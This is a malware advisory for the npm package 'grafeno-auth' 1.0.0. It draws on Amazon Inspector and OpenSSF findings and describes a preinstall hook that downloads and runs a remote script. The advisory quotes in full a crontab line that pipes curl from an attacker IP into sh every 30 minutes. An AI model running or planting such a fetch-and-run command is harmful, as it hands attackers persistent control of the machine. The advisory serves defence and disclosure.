grafeno-auth

Details

**Severity:** Critical

**Affected versions:** `= 1.0.0`

## Source: amazon-inspector (c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a)
package.json declares a preinstall hook that shells out via node -e / child_process to curl http://216.126.236.46/x.sh over plain HTTP and pipes the response to sh, then appends a crontab entry ('*/30 * * * * curl -s 216.126.236.46/x.sh|sh') that re-fetches and re-executes the same URL every 30 minutes. The shipped index.js is an inert stub exporting a no-op login function, so the manifest's lifecycle hook is the package's only real behavior. Running npm install executes attacker-controlled code from a bare-IP HTTP endpoint on the installer's host and establishes persistent remote code delivery via cron; the payload at that URL is mutable by the operator of the IP.

## Source: ossf-package-analysis (99cc2c553314bb426724c65f313119212461879d87e65dd3488c32cfcd98d0be)
The OpenSSF Package Analysis project identified 'grafeno-auth' @ 1.0.0 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.

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Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/d75ebb673b0185a99abe46e9e4a60aaa467fa7d8/osv/malicious/npm/grafeno-auth/MAL-2026-15502.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/d75ebb673b0185a99abe46e9e4a60aaa467fa7d8/osv/malicious/npm/grafeno-auth/MAL-2026-15502.json
- https://www.npmjs.com/package/grafeno-auth/v/1.0.0
- https://github.com/advisories/GHSA-wp54-r527-gf42

Compromised versions (1)

• = 1.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.